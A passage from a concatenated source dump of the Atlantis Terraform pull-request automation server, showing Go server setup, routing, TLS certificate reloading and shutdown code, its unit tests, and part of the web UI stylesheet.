command.TeamAllowlistChecker if globalCfg.TeamAuthz.Command != "" { teamAllowlistChecker = &events.ExternalTeamAllowlistChecker{ Command: globalCfg.TeamAuthz.Command, ExtraArgs: globalCfg.TeamAuthz.Args, ExternalTeamAllowlistRunner: &runtime.DefaultExternalTeamAllowlistRunner{}, } } else if userConfig.GitlabUser != "" { teamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist) if err != nil { return nil, err } } else { teamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GithubTeamAllowlist) if err != nil { return nil, err } } varFileAllowlistChecker, err := events.NewVarFileAllowlistChecker(userConfig.VarFileAllowlist) if err != nil { return nil, err } commandRunner := &events.DefaultCommandRunner{ VCSClient: vcsClient, GithubPullGetter: githubClient, GitlabMergeRequestGetter: gitlabClient, AzureDevopsPullGetter: azuredevopsClient, GiteaPullGetter: giteaClient, CommentCommandRunnerByCmd: commentCommandRunnerByCmd, EventParser: eventParser, FailOnPreWorkflowHookError: userConfig.FailOnPreWorkflowHookError, Logger: logger, GlobalCfg: globalCfg, StatsScope: statsScope.SubScope("cmd"), AllowForkPRs: userConfig.AllowForkPRs, AllowForkPRsFlag: config.AllowForkPRsFlag, SilenceForkPRErrors: userConfig.SilenceForkPRErrors, SilenceForkPRErrorsFlag: config.SilenceForkPRErrorsFlag, SilenceVCSStatusNoProjects: userConfig.SilenceVCSStatusNoProjects, DisableAutoplan: userConfig.DisableAutoplan, DisableAutoplanLabel: userConfig.DisableAutoplanLabel, Drainer: drainer, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, PullStatusFetcher: database, TeamAllowlistChecker: teamAllowlistChecker, VarFileAllowlistChecker: varFileAllowlistChecker, CommitStatusUpdater: commitStatusUpdater, } repoAllowlist, err := events.NewRepoAllowlistChecker(userConfig.RepoAllowlist) if err != nil { return nil, err } locksController := &controllers.LocksController{ AtlantisVersion: config.AtlantisVersion, AtlantisURL: parsedURL, Locker: lockingClient, ApplyLocker: applyLockingClient, Logger: logger, VCSClient: vcsClient, LockDetailTemplate: web_templates.LockTemplate, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, Database: database, DeleteLockCommand: deleteLockCommand, } wsMux := websocket.NewMultiplexor( logger, controllers.JobIDKeyGenerator{}, projectCmdOutputHandler, userConfig.WebsocketCheckOrigin, ) jobsController := &controllers.JobsController{ AtlantisVersion: config.AtlantisVersion, AtlantisURL: parsedURL, Logger: logger, ProjectJobsTemplate: web_templates.ProjectJobsTemplate, ProjectJobsErrorTemplate: web_templates.ProjectJobsErrorTemplate, Database: database, WsMux: wsMux, KeyGenerator: controllers.JobIDKeyGenerator{}, StatsScope: statsScope.SubScope("api"), } apiController := &controllers.APIController{ APISecret: []byte(userConfig.APISecret), Locker: lockingClient, Logger: logger, Parser: eventParser, ProjectCommandBuilder: projectCommandBuilder, ProjectPlanCommandRunner: instrumentedProjectCmdRunner, ProjectApplyCommandRunner: instrumentedProjectCmdRunner, FailOnPreWorkflowHookError: userConfig.FailOnPreWorkflowHookError, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, RepoAllowlistChecker: repoAllowlist, Scope: statsScope.SubScope("api"), VCSClient: vcsClient, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, CommitStatusUpdater: commitStatusUpdater, SilenceVCSStatusNoProjects: userConfig.SilenceVCSStatusNoProjects, } eventsController := &events_controllers.VCSEventsController{ CommandRunner: commandRunner, PullCleaner: pullClosedExecutor, Parser: eventParser, CommentParser: commentParser, Logger: logger, Scope: statsScope, ApplyDisabled: disableApply, GithubWebhookSecret: []byte(userConfig.GithubWebhookSecret), GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, GitlabWebhookSecret: []byte(userConfig.GitlabWebhookSecret), RepoAllowlistChecker: repoAllowlist, SilenceAllowlistErrors: userConfig.SilenceAllowlistErrors, EmojiReaction: userConfig.EmojiReaction, ExecutableName: userConfig.ExecutableName, SupportedVCSHosts: supportedVCSHosts, VCSClient: vcsClient, BitbucketWebhookSecret: []byte(userConfig.BitbucketWebhookSecret), AzureDevopsWebhookBasicUser: []byte(userConfig.AzureDevopsWebhookUser), AzureDevopsWebhookBasicPassword: []byte(userConfig.AzureDevopsWebhookPassword), AzureDevopsRequestValidator: &events_controllers.DefaultAzureDevopsRequestValidator{}, GiteaWebhookSecret: []byte(userConfig.GiteaWebhookSecret), } githubAppController := &controllers.GithubAppController{ AtlantisURL: parsedURL, Logger: logger, GithubSetupComplete: githubAppEnabled, GithubHostname: userConfig.GithubHostname, GithubOrg: userConfig.GithubOrg, } server := &Server{ AtlantisVersion: config.AtlantisVersion, AtlantisURL: parsedURL, Router: underlyingRouter, Port: userConfig.Port, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, CommandRunner: commandRunner, Logger: logger, StatsScope: statsScope, StatsReporter: statsReporter, StatsCloser: closer, Locker: lockingClient, ApplyLocker: applyLockingClient, VCSEventsController: eventsController, GithubAppController: githubAppController, LocksController: locksController, JobsController: jobsController, StatusController: statusController, APIController: apiController, IndexTemplate: web_templates.IndexTemplate, LockDetailTemplate: web_templates.LockTemplate, ProjectJobsTemplate: web_templates.ProjectJobsTemplate, ProjectJobsErrorTemplate: web_templates.ProjectJobsErrorTemplate, SSLKeyFile: userConfig.SSLKeyFile, SSLCertFile: userConfig.SSLCertFile, DisableGlobalApplyLock: userConfig.DisableGlobalApplyLock, Drainer: drainer, ProjectCmdOutputHandler: projectCmdOutputHandler, WebAuthentication: userConfig.WebBasicAuth, WebUsername: userConfig.WebUsername, WebPassword: userConfig.WebPassword, ScheduledExecutorService: scheduledExecutorService, EnableProfilingAPI: userConfig.EnableProfilingAPI, database: database, } validate := validator.New(validator.WithRequiredStructEnabled()) err = validate.Struct(server) if err != nil { return nil, err } else { return server, nil } } // Start creates the routes and starts serving traffic. func (s *Server) Start() error { s.Router.HandleFunc("/", s.Index).Methods("GET").MatcherFunc(func(r *http.Request, rm *mux.RouteMatch) bool { return r.URL.Path == "/" || r.URL.Path == "/index.html" }) s.Router.HandleFunc("/healthz", s.Healthz).Methods("GET") s.Router.HandleFunc("/status", s.StatusController.Get).Methods("GET") s.Router.PathPrefix("/static/").Handler(http.FileServer(http.FS(staticAssets))) s.Router.HandleFunc("/events", s.VCSEventsController.Post).Methods("POST") s.Router.HandleFunc("/api/plan", s.APIController.Plan).Methods("POST") s.Router.HandleFunc("/api/apply", s.APIController.Apply).Methods("POST") s.Router.HandleFunc("/api/locks", s.APIController.ListLocks).Methods("GET") s.Router.HandleFunc("/github-app/exchange-code", s.GithubAppController.ExchangeCode).Methods("GET") s.Router.HandleFunc("/github-app/setup", s.GithubAppController.New).Methods("GET") s.Router.HandleFunc("/locks", s.LocksController.DeleteLock).Methods("DELETE").Queries("id", "{id:.*}") s.Router.HandleFunc("/lock", s.LocksController.GetLock).Methods("GET"). Queries(LockViewRouteIDQueryParam, fmt.Sprintf("{%s}", LockViewRouteIDQueryParam)).Name(LockViewRouteName) s.Router.HandleFunc("/jobs/{job-id}", s.JobsController.GetProjectJobs).Methods("GET").Name(ProjectJobsViewRouteName) s.Router.HandleFunc("/jobs/{job-id}/ws", s.JobsController.GetProjectJobsWS).Methods("GET") r, ok := s.StatsReporter.(prometheus.Reporter) if ok { s.Router.Handle(s.CommandRunner.GlobalCfg.Metrics.Prometheus.Endpoint, r.HTTPHandler()) } if !s.DisableGlobalApplyLock { s.Router.HandleFunc("/apply/lock", s.LocksController.LockApply).Methods("POST").Queries() s.Router.HandleFunc("/apply/unlock", s.LocksController.UnlockApply).Methods("DELETE").Queries() } if s.EnableProfilingAPI { for p, h := range map[string]http.HandlerFunc{ "/": pprof.Index, "/cmdline": pprof.Cmdline, "/profile": pprof.Profile, "/symbol": pprof.Symbol, "/trace": pprof.Trace, } { s.Router.HandleFunc("/debug/pprof"+p, h).Methods("GET") } } n := negroni.New(&negroni.Recovery{ Logger: log.New(os.Stdout, "", log.LstdFlags), PrintStack: false, StackAll: false, StackSize: 1024 * 8, }, NewRequestLogger(s)) n.UseHandler(s.Router) defer s.Logger.Flush() // Ensure server gracefully drains connections when stopped. stop := make(chan os.Signal, 1) // Stop on SIGINTs and SIGTERMs. signal.Notify(stop, os.Interrupt, syscall.SIGTERM) go s.ScheduledExecutorService.Run() go func() { s.ProjectCmdOutputHandler.Handle() }() tlsConfig := &tls.Config{GetCertificate: s.GetSSLCertificate, MinVersion: tls.VersionTLS12} server := &http.Server{Addr: fmt.Sprintf(":%d", s.Port), Handler: n, TLSConfig: tlsConfig, ReadHeaderTimeout: 10 * time.Second} go func() { s.Logger.Info("Atlantis started - listening on port %v", s.Port) var err error if s.SSLCertFile != "" && s.SSLKeyFile != "" { err = server.ListenAndServeTLS("", "") } else { err = server.ListenAndServe() } if err != nil && err != http.ErrServerClosed { s.Logger.Err(err.Error()) } }() <-stop s.Logger.Warn("Received interrupt. Waiting for in-progress operations to complete") s.waitForDrain() // flush stats before shutdown if err := s.StatsCloser.Close(); err != nil { s.Logger.Err(err.Error()) } // Attempt to close the database if err := s.closeDatabase(1 * time.Second); err != nil { s.Logger.Err("while closing database: %v", err) } ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := server.Shutdown(ctx); err != nil { return fmt.Errorf("while shutting down: %s", err) } return nil } // waitForDrain blocks until draining is complete. func (s *Server) waitForDrain() { drainComplete := make(chan bool, 1) go func() { s.Drainer.ShutdownBlocking() drainComplete <- true }() ticker := time.NewTicker(5 * time.Second) for { select { case <-drainComplete: s.Logger.Info("All in-progress operations complete, shutting down") return case <-ticker.C: s.Logger.Info("Waiting for in-progress operations to complete, current in-progress ops: %d", s.Drainer.GetStatus().InProgressOps) } } } // closeDatabase attempts to close the database, waiting up to the given timeout. func (s *Server) closeDatabase(timeout time.Duration) error { if s.database == nil { return nil } s.Logger.Info("Shutting down database") done := make(chan error, 1) go func() { done <- s.database.Close() }() select { case err := <-done: return err case <-time.After(timeout): return fmt.Errorf("database close timed out after %s", timeout) } } // Index is the / route. func (s *Server) Index(w http.ResponseWriter, _ *http.Request) { locks, err := s.Locker.List() if err != nil { w.WriteHeader(http.StatusServiceUnavailable) fmt.Fprintf(w, "Could not retrieve locks: %s", err) return } var lockResults []web_templates.LockIndexData for id, v := range locks { lockURL, _ := s.Router.Get(LockViewRouteName).URL("id", url.QueryEscape(id)) lockResults = append(lockResults, web_templates.LockIndexData{ // NOTE: must use .String() instead of .Path because we need the // query params as part of the lock URL. LockPath: lockURL.String(), RepoFullName: v.Project.RepoFullName, LockedBy: v.Pull.Author, PullNum: v.Pull.Num, Path: v.Project.Path, Workspace: v.Workspace, Time: v.Time, TimeFormatted: v.Time.Format("2006-01-02 15:04:05"), }) } applyCmdLock, err := s.ApplyLocker.CheckApplyLock() s.Logger.Debug("Apply Lock: %v", applyCmdLock) if err != nil { w.WriteHeader(http.StatusServiceUnavailable) fmt.Fprintf(w, "Could not retrieve global apply lock: %s", err) return } applyLockData := web_templates.ApplyLockData{ Time: applyCmdLock.Time, Locked: applyCmdLock.Locked, GlobalApplyLockEnabled: applyCmdLock.GlobalApplyLockEnabled, TimeFormatted: applyCmdLock.Time.Format("2006-01-02 15:04:05"), } //Sort by date - newest to oldest. sort.SliceStable(lockResults, func(i, j int) bool { return lockResults[i].Time.After(lockResults[j].Time) }) err = s.IndexTemplate.Execute(w, web_templates.IndexData{ Locks: lockResults, PullToJobMapping: preparePullToJobMappings(s), ApplyLock: applyLockData, AtlantisVersion: s.AtlantisVersion, CleanedBasePath: s.AtlantisURL.Path, }) if err != nil { s.Logger.Err(err.Error()) } } func preparePullToJobMappings(s *Server) []jobs.PullInfoWithJobIDs { pullToJobMappings := s.ProjectCmdOutputHandler.GetPullToJobMapping() for i := range pullToJobMappings { for j := range pullToJobMappings[i].JobIDInfos { jobUrl, _ := s.Router.Get(ProjectJobsViewRouteName).URL("job-id", pullToJobMappings[i].JobIDInfos[j].JobID) pullToJobMappings[i].JobIDInfos[j].JobIDUrl = jobUrl.String() pullToJobMappings[i].JobIDInfos[j].TimeFormatted = pullToJobMappings[i].JobIDInfos[j].Time.Format("2006-01-02 15:04:05") } //Sort by date - newest to oldest. sort.SliceStable(pullToJobMappings[i].JobIDInfos, func(x, y int) bool { return pullToJobMappings[i].JobIDInfos[x].Time.After(pullToJobMappings[i].JobIDInfos[y].Time) }) } //Sort by repository, project, path, workspace then date. sort.SliceStable(pullToJobMappings, func(x, y int) bool { if pullToJobMappings[x].Pull.RepoFullName != pullToJobMappings[y].Pull.RepoFullName { return pullToJobMappings[x].Pull.RepoFullName < pullToJobMappings[y].Pull.RepoFullName } if pullToJobMappings[x].Pull.ProjectName != pullToJobMappings[y].Pull.ProjectName { return pullToJobMappings[x].Pull.ProjectName < pullToJobMappings[y].Pull.ProjectName } if pullToJobMappings[x].Pull.Path != pullToJobMappings[y].Pull.Path { return pullToJobMappings[x].Pull.Path < pullToJobMappings[y].Pull.Path } return pullToJobMappings[x].Pull.Workspace < pullToJobMappings[y].Pull.Workspace }) return pullToJobMappings } func mkSubDir(parentDir string, subDir string) (string, error) { fullDir := filepath.Join(parentDir, subDir) if err := os.MkdirAll(fullDir, 0700); err != nil { return "", fmt.Errorf("unable to create dir %q: %w", fullDir, err) } return fullDir, nil } // Healthz returns the health check response. It always returns a 200 currently. func (s *Server) Healthz(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "application/json") w.Write(healthzData) // nolint: errcheck } var healthzData = []byte(`{ "status": "ok" }`) func (s *Server) GetSSLCertificate(*tls.ClientHelloInfo) (*tls.Certificate, error) { certStat, err := os.Stat(s.SSLCertFile) if err != nil { return nil, fmt.Errorf("while getting cert file modification time: %w", err) } keyStat, err := os.Stat(s.SSLKeyFile) if err != nil { return nil, fmt.Errorf("while getting key file modification time: %w", err) } if s.SSLCert == nil || certStat.ModTime() != s.CertLastRefreshTime || keyStat.ModTime() != s.KeyLastRefreshTime { cert, err := tls.LoadX509KeyPair(s.SSLCertFile, s.SSLKeyFile) if err != nil { return nil, fmt.Errorf("while loading tls cert: %w", err) } s.SSLCert = &cert s.CertLastRefreshTime = certStat.ModTime() s.KeyLastRefreshTime = keyStat.ModTime() } return s.SSLCert, nil } // ParseAtlantisURL parses the user-passed atlantis URL to ensure it is valid // and we can use it in our templates. // It removes any trailing slashes from the path so we can concatenate it // with other paths without checking. func ParseAtlantisURL(u string) (*url.URL, error) { parsed, err := url.Parse(u) if err != nil { return nil, err } if parsed.Scheme != "http" && parsed.Scheme != "https" { return nil, errors.New("http or https must be specified") } // We want the path to end without a trailing slash so we know how to // use it in the rest of the program. parsed.Path = strings.TrimSuffix(parsed.Path, "/") return parsed, nil } ================================================ FILE: server/server_internal_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package server import ( "errors" "testing" "testing/synctest" "time" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/db/mocks" "github.com/runatlantis/atlantis/server/logging" "github.com/stretchr/testify/assert" "go.uber.org/mock/gomock" ) func TestServer_CloseDatabase(t *testing.T) { timeout := time.Second type databaseCase struct { description string closeFn func() error expectedErr string expectedDuration time.Duration } cases := []databaseCase{ { description: "closes successfully", closeFn: func() error { return nil }, }, { description: "returns database error", closeFn: func() error { return errors.New("boom") }, expectedErr: "boom", }, { description: "times out after 1s", closeFn: func() error { time.Sleep(1500 * time.Millisecond) return nil }, expectedErr: "timed out", expectedDuration: time.Second, }, { description: "nil database", closeFn: nil, // nil means database itself is nil }, } for _, tt := range cases { t.Run(tt.description, func(t *testing.T) { synctest.Test(t, func(t *testing.T) { var database db.Database if tt.closeFn != nil { ctrl := gomock.NewController(t) m := mocks.NewMockDatabase(ctrl) closeFn := tt.closeFn m.EXPECT().Close().DoAndReturn(func() error { return closeFn() }) database = m } s := &Server{ database: database, Logger: logging.NewNoopLogger(t), } start := time.Now() err := s.closeDatabase(timeout) duration := time.Since(start) assert.Equal(t, tt.expectedDuration, duration) //nolint:testifylint // testing error behavior, not precondition if tt.expectedErr == "" { assert.NoError(t, err) } else { assert.ErrorContains(t, err, tt.expectedErr) } // Make sure enough fake time so nothing is left running time.Sleep(2 * time.Second) }) }) } } ================================================ FILE: server/server_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package server_test import ( "bytes" "crypto/tls" "errors" "io" "net/http" "net/http/httptest" "net/url" "testing" "time" "github.com/gorilla/mux" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server" "github.com/runatlantis/atlantis/server/controllers/web_templates" tMocks "github.com/runatlantis/atlantis/server/controllers/web_templates/mocks" "github.com/runatlantis/atlantis/server/core/locking" lockMocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) const ( testAtlantisVersion = "1.0.0" testAtlantisUrl = "http://example.com" testLockingDBType = cmd.DefaultLockingDBType testGitHubHostName = cmd.DefaultGHHostname testGitHubUser = "user" ) func TestNewServer_GitHubUser(t *testing.T) { t.Log("Run through NewServer constructor") tmpDir := t.TempDir() _, err := server.NewServer( server.UserConfig{ DataDir: tmpDir, AtlantisURL: testAtlantisUrl, LockingDBType: testLockingDBType, GithubHostname: testGitHubHostName, GithubUser: testGitHubUser, }, server.Config{ AtlantisVersion: testAtlantisVersion, }, ) Ok(t, err) } // todo: test what happens if we set different flags. The generated config should be different. func TestNewServer_InvalidAtlantisURL(t *testing.T) { tmpDir := t.TempDir() _, err := server.NewServer(server.UserConfig{ DataDir: tmpDir, AtlantisURL: "example.com", }, server.Config{ AtlantisURLFlag: "atlantis-url", }) ErrEquals(t, "parsing --atlantis-url flag \"example.com\": http or https must be specified", err) } func TestIndex_LockErr(t *testing.T) { t.Log("index should return a 503 if unable to list locks") ctrl := gomock.NewController(t) l := lockMocks.NewMockLocker(ctrl) l.EXPECT().List().Return(nil, errors.New("err")) s := server.Server{ Locker: l, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Index(w, req) ResponseContains(t, w, 503, "Could not retrieve locks: err") } func TestIndex_Success(t *testing.T) { t.Log("Index should render the index template successfully.") RegisterMockTestingT(t) // needed for pegomock TemplateWriter mock ctrl := gomock.NewController(t) l := lockMocks.NewMockLocker(ctrl) al := lockMocks.NewMockApplyLocker(ctrl) // These are the locks that we expect to be rendered. now := time.Now() locks := map[string]models.ProjectLock{ "lkysow/atlantis-example/./default": { Pull: models.PullRequest{ Num: 9, }, Project: models.Project{ RepoFullName: "lkysow/atlantis-example", }, Time: now, }, } l.EXPECT().List().Return(locks, nil) al.EXPECT().CheckApplyLock().Return(locking.ApplyCommandLock{}, nil) it := tMocks.NewMockTemplateWriter() r := mux.NewRouter() atlantisVersion := "0.3.1" // Need to create a lock route since the server expects this route to exist. r.NewRoute().Path("/lock"). Queries("id", "{id}").Name(server.LockViewRouteName) u, err := url.Parse("https://example.com") Ok(t, err) s := server.Server{ Locker: l, ApplyLocker: al, IndexTemplate: it, Router: r, AtlantisVersion: atlantisVersion, AtlantisURL: u, Logger: logging.NewNoopLogger(t), ProjectCmdOutputHandler: &jobs.NoopProjectOutputHandler{}, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Index(w, req) it.VerifyWasCalledOnce().Execute(w, web_templates.IndexData{ ApplyLock: web_templates.ApplyLockData{ Locked: false, Time: time.Time{}, TimeFormatted: "0001-01-01 00:00:00", }, Locks: []web_templates.LockIndexData{ { LockPath: "/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", RepoFullName: "lkysow/atlantis-example", PullNum: 9, Time: now, TimeFormatted: now.Format("2006-01-02 15:04:05"), }, }, PullToJobMapping: []jobs.PullInfoWithJobIDs{}, AtlantisVersion: atlantisVersion, }) ResponseContains(t, w, http.StatusOK, "") } func TestHealthz(t *testing.T) { s := server.Server{} req, _ := http.NewRequest("GET", "/healthz", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Healthz(w, req) resp := w.Result() defer resp.Body.Close() Equals(t, http.StatusOK, resp.StatusCode) body, _ := io.ReadAll(resp.Body) Equals(t, "application/json", resp.Header["Content-Type"][0]) Equals(t, `{ "status": "ok" }`, string(body)) } type mockRW struct{} var _ http.ResponseWriter = mockRW{} var mh = http.Header{} func (w mockRW) WriteHeader(int) {} func (w mockRW) Write([]byte) (int, error) { return 0, nil } func (w mockRW) Header() http.Header { return mh } var w = mockRW{} var s = &server.Server{} func BenchmarkHealthz(b *testing.B) { b.ReportAllocs() for b.Loop() { s.Healthz(w, nil) } } func TestGetCertificate(t *testing.T) { s := server.Server{} clientHelloInfo := &tls.ClientHelloInfo{} // Initial certificate load s.SSLCertFile = "../testdata/cert.pem" s.SSLKeyFile = "../testdata/key.pem" cert, err := s.GetSSLCertificate(clientHelloInfo) Ok(t, err) // Certificate reload s.SSLCertFile = "../testdata/cert2.pem" s.SSLKeyFile = "../testdata/key2.pem" s.CertLastRefreshTime = s.CertLastRefreshTime.Add(-1 * time.Second) s.KeyLastRefreshTime = s.KeyLastRefreshTime.Add(-1 * time.Second) newCert, err := s.GetSSLCertificate(clientHelloInfo) Ok(t, err) Assert( t, !bytes.Equal(bytes.Join(cert.Certificate, nil), bytes.Join(newCert.Certificate, nil)), "Certificate expected to rotate") } func TestParseAtlantisURL(t *testing.T) { cases := []struct { In string ExpErr string ExpURL string }{ // Valid URLs should work. { In: "https://example.com", ExpURL: "https://example.com", }, { In: "http://example.com", ExpURL: "http://example.com", }, { In: "http://example.com/", ExpURL: "http://example.com", }, { In: "http://example.com", ExpURL: "http://example.com", }, { In: "http://example.com:4141", ExpURL: "http://example.com:4141", }, { In: "http://example.com:4141/", ExpURL: "http://example.com:4141", }, { In: "http://example.com/baseurl", ExpURL: "http://example.com/baseurl", }, { In: "http://example.com/baseurl/", ExpURL: "http://example.com/baseurl", }, { In: "http://example.com/baseurl/test", ExpURL: "http://example.com/baseurl/test", }, // Must be valid URL. { In: "::", ExpErr: "parse \"::\": missing protocol scheme", }, // Must be absolute. { In: "/hi", ExpErr: "http or https must be specified", }, // Must have http or https scheme.. { In: "localhost/test", ExpErr: "http or https must be specified", }, { In: "http0://localhost/test", ExpErr: "http or https must be specified", }, } for _, c := range cases { t.Run(c.In, func(t *testing.T) { act, err := server.ParseAtlantisURL(c.In) if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) } else { Ok(t, err) Equals(t, c.ExpURL, act.String()) } }) } } ================================================ FILE: server/static/css/custom.css ================================================ .container { max-width: 1200px; } .header { margin-top: 2.5vh; text-align: center; } img.hero { height: 20vh; max-height: 120px; width: auto; max-width: 241px } .heading-font-size { font-size: 1.2rem; color: #999; letter-spacing: normal; } .code-example { margin-top: 1.5rem; margin-bottom: 0; } .code-example-body { white-space: pre; word-wrap: break-word } .navbar { display: none; } .content-table-heading { font-size: 14px;} tbody { font-size: 12px;} .ami-details { text-transform: uppercase; font-size: 1.2rem; letter-spacing: .2rem; font-weight: 600; text-align: left; } .ami-data { text-transform: none !important; font-size: 1.2rem; letter-spacing: .2rem; font-weight: 100; } .instance-name-tag { font-family: monospace, monospace; font-size: 1.4rem; } .placeholder { font-family: monospace, monospace; font-size: 1.2rem; color: grey; font-style: italic; text-align: center; } .loading-img { display: none; text-align: center; } .region-select { text-align: center; float: none !important; } #region-list { margin-top: 8px; } /* Larger than phone */ @media (min-width: 550px) { .value-props { margin-top: 9rem; margin-bottom: 7rem; } .value-img { margin-bottom: 1rem; } .example-grid .column, .example-grid .columns { margin-bottom: 1.5rem; } .docs-section { padding: 6rem 0; } .example-send-yourself-copy { float: right; margin-top: 12px; } .example-screenshot-wrapper { position: absolute; width: 48%; height: 100%; left: 0; max-height: none; } } /* Larger than tablet */ @media (min-width: 750px) { /* Navbar */ .navbar + .docs-section { border-top-width: 0; } .navbar, .navbar-spacer { display: block; width: 100%; height: 6.5rem; background: #fff; z-index: 99; border-top: 1px solid #eee; border-bottom: 1px solid #eee; } .navbar-spacer { display: none; } .navbar > .container { width: 100%; } .navbar-list { list-style: none; margin-bottom: 0; } .navbar-item { position: relative; float: left; margin-bottom: 0; } .navbar-link { text-transform: uppercase; font-size: 11px; font-weight: 600; letter-spacing: .2rem; text-decoration: none; line-height: 6.5rem; color: #222; } .navbar-link.active { color: #33C3F0; } .has-docked-nav .navbar { position: fixed; top: 0; left: 0; } .has-docked-nav .navbar-spacer { display: block; } /* Re-overriding the width 100% declaration to match size of % based container */ .has-docked-nav .navbar > .container { width: 80%; } /* Popover */ .popover.open { display: block; } .popover { display: none; position: absolute; top: 0; left: 0; background: #fff; border: 1px solid #eee; border-radius: 4px; top: 92%; left: -50%; -webkit-filter: drop-shadow(0 0 6px rgba(0,0,0,.1)); -moz-filter: drop-shadow(0 0 6px rgba(0,0,0,.1)); filter: drop-shadow(0 0 6px rgba(0,0,0,.1)); } .popover-item:first-child .popover-link:after, .popover-item:first-child .popover-link:before { bottom: 100%; left: 50%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; } .popover-item:first-child .popover-link:after { border-color: rgba(255, 255, 255, 0); border-bottom-color: #fff; border-width: 10px; margin-left: -10px; } .popover-item:first-child .popover-link:before { border-color: rgba(238, 238, 238, 0); border-bottom-color: #eee; border-width: 11px; margin-left: -11px; } .popover-list { padding: 0; margin: 0; list-style: none; } .popover-item { padding: 0; margin: 0; } .popover-link { position: relative; color: #222; display: block; padding: 8px 20px; border-bottom: 1px solid #eee; text-decoration: none; text-transform: uppercase; font-size: 1.0rem; font-weight: 600; text-align: center; letter-spacing: .1rem; } .popover-item:first-child .popover-link { border-radius: 4px 4px 0 0; } .popover-item:last-child .popover-link { border-radius: 0 0 4px 4px; border-bottom-width: 0; } .popover-link:hover { color: #fff; background: #33C3F0; } .popover-link:hover, .popover-item:first-child .popover-link:hover:after { border-bottom-color: #33C3F0; } } .content { margin-bottom: 2px; } .unlock-discard-btn { border-color: red !important; background-color: red !important; } .stash-nav-bar { text-align: center; float: none !important; } .state-viewer { min-height: 350px; } .messages { position: relative; } .messages code{ background-color: #2ECC71; border: #2ECC71; color: #FFFFFF; } .messages-error code{ background-color: #E74C3C; border: #E74C3C; color: #FFFFFF; } .unlock{ height: 16px; margin-top: 12px; line-height: 18px; padding: 0 10px; font-family: monospace; } .list-unlock{ float: right; } /* Styles for the lock index */ .lock-grid{ display: grid; grid-template-columns: auto auto auto auto auto auto; border: 1px solid #dbeaf4; width: 100%; font-size: 12px; } .lock-header { display: contents; font-weight: bold; } .lock-header span { border-bottom: 1px solid #dbeaf4; padding: 5px; } .lock-row { display: contents; } .lock-row a { border-bottom: 1px solid #dbeaf4; padding: 5px; } .lock-row:hover a { background-color: #dbeaf4; cursor: pointer; } .lock-row:hover a:hover { color: initial } .lock-link { text-decoration: none; color: #555 } .lock-reponame { word-break: break-all; } .lock-username { word-break: break-all; } .lock-path { padding: .2rem .5rem; margin: 0 .2rem; font-family: monospace; font-size: 90%; background: #F1F1F1; border: 1px solid #E1E1E1; border-radius: 4px; word-break: break-all; } .lock-datetime { color: #999; } /* Style for the Pull To Job Mapping Table */ .pulls-grid{ display: grid; grid-template-columns: auto auto auto auto; border: 1px solid #dbeaf4; width: 100%; font-size: 12px; } .pulls-row { display: contents; } .pulls-element { border-bottom: 1px solid #dbeaf4; padding: 5px; } /* The Modal (background) */ .modal { display: none; /* Hidden by default */ position: fixed; /* Stay in place */ z-index: 1; /* Sit on top */ padding-top: 100px; /* Location of the box */ left: 0; top: 0; width: 100%; /* Full width */ height: 100%; /* Full height */ overflow: auto; /* Enable scroll if needed */ background-color: rgb(0,0,0); /* Fallback color */ background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ } .lock-detail-grid { display: grid; grid-template-columns: 130px auto; border: 1px solid #dbeaf4; width: 100%; font-size: 14px; } /* Modal Header */ .modal-header { padding: 8px 12px; background-color: #222222; color: white; } /* Modal Body */ .modal-body {padding: 18px 16px;} /* Modal Content */ .modal-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid #888; width: 50%; box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } /* Add Animation */ @-webkit-keyframes animatetop { from {top: -300px; opacity: 0} to {top: 0; opacity: 1} } @keyframes animatetop { from {top: 